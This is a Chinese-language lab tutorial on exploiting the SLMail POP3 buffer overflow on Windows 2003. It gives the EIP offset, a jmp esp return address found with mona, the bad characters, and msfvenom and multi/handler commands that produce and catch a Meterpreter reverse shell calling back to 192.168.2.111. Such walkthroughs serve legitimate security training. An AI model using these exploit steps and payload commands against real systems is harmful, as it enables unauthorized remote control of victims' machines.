1. 程式人生 > >簡單的緩沖區溢出

簡單的緩沖區溢出

jmp指令 高級 too ket 指令 生成 切換 mail 說我

作者:Joe


二進制,計算機才可以理解的低級語言,簡單來說它是一種信號,用電信號為例,0就是斷電,而1就是有電,這樣子010101有規律的閃就是我們的二進制了。看到這裏你應該會想,都9102年了,怎麽可能還有人在用二進制寫程序,of course01帶來的不便真的太多了(詳情請見我的一篇匯編基礎文章)首先是

1、 修改太麻煩,排錯不容易

2、 代碼量太多,工作太復雜

3、 容易出錯

所以在二進制的基礎上,又有了匯編語言,匯編語言是直接對cpu進行操作的一種語言,它主要是用匯編指令。所以我們講的既然跟二進制有關,那肯定會有匯編的出現。

在匯編語言上的是高級語言,類似吃、c/c++java等的語言,高級語言,簡單來說就是可以被人理解的語言,我們用高級語言寫程序也叫編程。在

c語言上又有一種語言叫python,它的強大你們都理解,但是速度卻沒有c快。

C的工作原理是這樣子的

C -> 匯編(c先翻譯為匯編)-> 二進制(pe文件,也就是exe。可以直接執行的程序)

C文件也被我們叫源文件,舉個例子:生產線,c文件是原料,匯編類似於加工,二進制就是我們要的成品了。

也可以這麽說,如果有了c文件,我們可以直接審核,不用去逆向出匯編代碼。

如何解釋c和匯編的關系呢

比如下面這段c語言代碼

{

Int a = 10;

Int b = a;

C = a + b;

}

翻譯成匯編代碼可能是這樣子的

Mov eax,10 //把數值10eax

Mov edx,eax //

eax的值給edx

Add eax,edx //edx和eax相加

這就是匯編和c的關系。這裏就不在詳細解釋匯編和c。相關基礎自己去閱讀文章即可

P.s:不要問我為什麽沒有二進制,我去哪裏找一段01給你們看。

接下來是我們要用的工具:

調試器,我用的是immuintydebugger

關於環境和下載所需的東西我會在後面給出

簡單的講述緩沖區溢出:

緩沖區溢出buffer overflow),是針對程序設計缺陷,向程序輸入緩沖區寫入使之溢出的內容(通常是超過緩沖區能保存的最大數據量的數據),從而破壞程序運行、趁著中斷之際並獲取程序乃至系統的控制權

那麽本期我們就嘗試利用slmail的漏洞來

getshell。

環境搭建:windows 2003 一臺

Kali一臺

window2003安裝debug用於調試程序

然後需要一個叫mona的腳本,可以在GitHub找到

在這裏扯一下系統裏面的一些內存防禦機制

1、 aslr:軟件重啟會更改基地址(一般的緩沖區溢出漏洞都是利用jmp等指令轉到shellcode,所以我們需要指令的實際地址,但是有了aslr之後,每次的地址都不一樣,這就造成了難以定位指令的實際地址而無法構造exp)

2、 dep 開啟了dep後,數據頁無法執行命令,也就是說,即使跳轉到shellcode的地址,你也無法執行shellcode返回shell

我們在windows2003裏面開啟debug調試進程,使用attache選項

技術分享圖片

快捷鍵是 ctrl+F1

技術分享圖片

可以看到這裏有個為slmail的進程,我們單擊,然後點attach

技術分享圖片

我們按兩下f9開始運行!

程序運行後在kalinc連接slmail開放的110端口。

技術分享圖片

我們已經成功的連接上了110端口,並且看到上面開放的服務,現在我們可以創建一個賬號

技術分享圖片

我們測試一下溢出點

先用python生成較多的無用字符用來測試

技術分享圖片

-c 是直接運行python的語句

我們復制一下

我們在添加到shell裏面,然後回車

我們發現已經沒反應了

我們切換到windows2003看看

技術分享圖片

Ebp已經變成61616161,說明我們成功讓程序溢出,現在程序處於一個崩潰狀態

我們需要去“服務”選項裏面重啟pop3服務

現在我們知道溢出點在哪裏了,我們可以用msf的兩個工具找出準確的溢出數值,填充的無用字符多一個少一個都可以導致攻擊失敗。

工具在:/usr/share/Metasploit-framework/tools/exploit 目錄裏面

分別是 pattern_create.rbpattern_offset.rb這兩個文件

我們先用create生成字符串,用來定位精準溢出字符。

我們生成比較多的字符串

./pattern_cerate -l 字符的數量,這裏我是輸入了4000個

技術分享圖片

我們可以寫個python腳本測試一下用socket庫簡單的測試

執行python腳本後就會開始發送我們的buf
發送完畢,我們看看debug的反應

技術分享圖片

這裏已經填成了我們發送的buf

我們把eip的地址給記一下

然後在命令行執行./pattern_offset -q eip的地址

然後我們得到了精準的數值

技術分享圖片

我們看到是2606,也就是說2606後面的4個內存單元就是eip

有了eip,我們就可以操縱eip讓cpu執行我們的shellcode,執行shellcode的方法有多種,直接設置eip為shellcode所在的地址,或者利用jmp指令去跳轉到shellcode的地方並執行,那麽第一種呢,如果環境變化了,地址不同,或者說是有差異,那麽這條地址可能就沒有用了,所以我們可以選擇第二種,jmp 指令,他可以克服這些困難。

那麽廢話不多說,這裏我們就要用到一個神器了,也就是mona.py

他可以幫助我們找出所要的指令,還可以列出是否有內存保護機制

技術分享圖片

接下來我們講講,剛才所提到的jmp esp的命令,我們用mona腳本列出所有的模塊

技術分享圖片

這裏是列出的模塊

命令是 !mona modules

我們在模塊中,找一些沒有開啟防護的,篩選後,我們暫定這兩個

Openc32.dllslmfc.Dll

我們可以用find參數和-m參數

Find,也就是尋找,我們可以在裏面找到需要的指令,-m,也就是指定我們篩選出的dll

!mona find -s \xff\xe4 -m openc32.dll

Ffe4jmp esp的指令,為什麽要選擇jmp esp呢?

那是因為我們的生成的shellcode一般在300個字節,而esp可以容納400個字節

所以用esp再合適不過了。

技術分享圖片

我們選擇第一個,然後雙擊,

技術分享圖片

點擊m

技術分享圖片

可以看到有讀和執行的權限

所以我們可以利用這個dll來實現跳轉執行!

我們設置個斷點來證實我們的猜想

技術分享圖片

註:第一個選項

這個時候該找的都找了,我們可以開始編寫腳本來測試猜想了。

記住下斷點的地址,前面我們說了,2606個字節後面就是eip了,所以我們要把斷點的地址填入到eip,讓它去跳轉到esp寄存器!

因為匯編語言的地址加載和我們所看到的不一樣,所以要調換一下位置。

所以腳本裏面的地址為 \xe3\x41\x4b\x5f

準備好就保存,然後開始。

技術分享圖片

已經跳轉到我們的斷點,程序也停止了運行。我們按f7單步調試!

技術分享圖片

可以看到esp裏面填充了我剛才所寫的test test

也就是說我們可以利用它執行shellcode,我們用msf生成一段shellcode

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python

生成一段shellcode。然後我們修改exp

技術分享圖片

修改完我們測試一下,發現雖然溢出了,但是沒有shell返回,那麽這是怎麽回事呢。

其實在內存中有個叫badchar,也就是壞字符的東西,他可以阻礙shellcode的運行,比如\x00 這個會停止shellcode運行。我們可以測試一下來找到badchar

我們把所有字符,寫入到exp裏面進行測試。

修改完就開始運行。

技術分享圖片

最後測出來的壞字符為 00 0a 0d

現在重新生成shellcode。

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python -b \x00\x0a\x0d

我們把shellcode復制進exp裏面。

開啟msf監聽

Use exploit/multi/handler

Set payload windows/meterprter/reverse_tcp

Set lhost 192.168.2.111

Run

腳本裏記得填充8個nop,要不然shellcode會被覆蓋不能執行。

技術分享圖片

我們成功得到了一個shell。

本次實驗到此結束。

簡單的緩沖區溢出